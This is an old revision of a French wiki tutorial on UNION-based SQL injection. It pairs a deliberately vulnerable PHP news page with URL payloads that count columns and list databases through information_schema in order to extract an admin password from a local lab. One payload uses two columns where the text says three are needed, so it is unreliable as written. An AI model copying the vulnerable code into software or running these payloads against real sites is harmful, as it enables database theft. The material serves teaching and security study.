Outils d'utilisateurs

Outils du Site


failles_web:sql_injection

Ceci est une ancienne révision du document !


Injection SQL

Introduction

Pour dynamiser un site on est très souvent amené à utiliser des bases de données afin de stocker des informations. Par exemple, un site d'information stockera ses news dans sa base de donnée. Pour parler avec cette base de données le développeur va utiliser un langage spécial : le SQL.

-- Exemple d'une requête simple
SELECT titre,auteur,contenu FROM news WHERE id = 1337

Maintenant, imaginons que chaque news est chargé dynamiquement à partir d'un paramètre de l'URL

<?php
 
mysql_connect("localhost","root","root");
mysql_select_db("sqli");
 
$news = mysql_query("SELECT titre,auteur,contenu FROM news WHERE id = ".$_GET['id']);
$news = mysql_fetch_assoc($news);
 
echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>";
echo "<p>".$news['contenu']."</p>";

La sélection de la news se fait en fonction de la variable GET id. Par exemple, news.php?id=1 affichera la première news, et ainsi de suite …

Le soucis dans ce code c'est que la variable GET est utilisée directement dans la requête SQL. Le client malveillant contrôle parfaitement cette variable et peu donc à tout moment modifier le comportement de la requête afin de sélectionner ce que bon lui semble dans la base de donnée. C'est le principe de l'injection SQL.

Exploitation basique (UNION)

Contexte

On va étudier le cas d'une page qui affiche des news stockées dans une base de donnée. Notre but va être de récupérer le mot de passe de l'administrateur qui est stocké dans la base de donnée. Nous allons faire comme si nous ne connaissons pas la structure de la base de données. Nous utilisons une base de donnée MySQL 5. Afin que vous puissiez reproduire ce scénario chez vous, si vous le souhaitez, voici les différentes requêtes pour créer les tables ainsi que le script PHP.

--
-- Structure de la table `news`
--
 
CREATE TABLE `news` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `titre` VARCHAR(255) NOT NULL,
  `auteur` VARCHAR(255) NOT NULL,
  `contenu` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
 
--
-- Contenu de la table `news`
--
 
INSERT INTO `news` VALUES(1, 'Première news', 'tlk', 'Contenu première news');
INSERT INTO `news` VALUES(2, 'Seconde news', 'tlk', 'Contenu seconde news');
 
-- --------------------------------------------------------
 
--
-- Structure de la table `users`
--
 
CREATE TABLE `users` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `name` VARCHAR(255) NOT NULL,
  `password` VARCHAR(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
--
-- Contenu de la table `users`
--
 
INSERT INTO `users` VALUES(1, 'administrateur', 'SuperPass');
index.php
<?php
 
mysql_connect("localhost","root","root");
mysql_select_db("sqli");
 
$news = mysql_query("SELECT titre,auteur,contenu FROM news WHERE id = ".$_GET['id']) or die(mysql_error());
$news = mysql_fetch_assoc($news);
 
echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>";
echo "<p>".$news['contenu']."</p>";

Utilisation de UNION

D'après la documentation de MySQL la clause UNION sert à « combiner le résultat de plusieurs requêtes SELECT en un seul résultat ». C'est exactement comme si on faisait deux requêtes séparément et que les tableaux résultants de ces requêtes était mis à la suite l'un de l'autre. Les deux requêtes doivent donc générer un tableau de même taille pour que la fusion se fasse correctement. Dans le cadre d'un UNION, si les deux résultats ne font pas la même taille, MySQL reverra une erreur.

Par exemple

SELECT id FROM news UNION SELECT 1,2

nous renvois

#1222 - The used SELECT statements have a different number of columns

Maintenant

SELECT id,titre FROM news UNION SELECT 1,2

nous renvois

ID Titre
1 Première news
2   Seconde news
1 2

On remarque ici que le résultat de la requête que l'on contrôle est mis à la suite de la première. Notre page affichera donc uniquement la première news, or ce que nous désirons, c'est afficher le résultat de notre propre requête. Il faut donc que la première requête ne renvois aucun résultat.

SELECT id,titre FROM news WHERE id=-1 UNION SELECT 1,2
ID Titre
1 2

Le résultat est bien celui attendu :-)

Trouver le nombre de colonnes

Comme on vient de le voir, il est nécessaire de connaître le nombre de colonnes de la première requête pour faire fonctionner correctement le UNION.

Une technique très simple existe : ORDER BY. La clause ORDER BY permet de trier le tableau résultant de la requête en fonction d'une colonne, de manière croissante ou décroissante. Il est non seulement possible de renseigner cette colonne par son nom, mais aussi par son identifiant, la première colonne portant l'identifiant 1, la seconde 2, etc … Il est donc très facile de connaître le nombre de colonne d'une requête dont on contrôle une partie.

http://localhost/news.php?id=1 ORDER BY 1

Pas d'erreur.

http://localhost/news.php?id=1 ORDER BY 2

Pas d'erreur.

http://localhost/news.php?id=1 ORDER BY 3

Pas d'erreur.

http://localhost/news.php?id=1 ORDER BY 4
Unknown column '4' in 'order clause'

On peut donc en conclure que la requête porte sur 3 colonnes. Notre requête utilisée pour le UNION devra donc elle aussi comporter 3 colonnes.

Liste des bases de données

Afin de maximiser les chances de trouver ce que nous cherchons, il est possible de lister toutes les bases de données présentent sur le serveur. La liste des bases de données est disponible dans la table schemata de la base de donnée information_schema. Plus d'information concernant la base de données information_schema

http://localhost/index.php?id=-1 UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata

La page renvoyée par cette requête ressemble à ça :

1
par 2

information_schema,sqli

Ici notre première requête ne renvois aucun résultat. La seconde requête elle renvois la liste des bases de données séparées par une virgule. Il en sera ainsi pour toutes les données extraites.

failles_web/sql_injection.1340656859.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)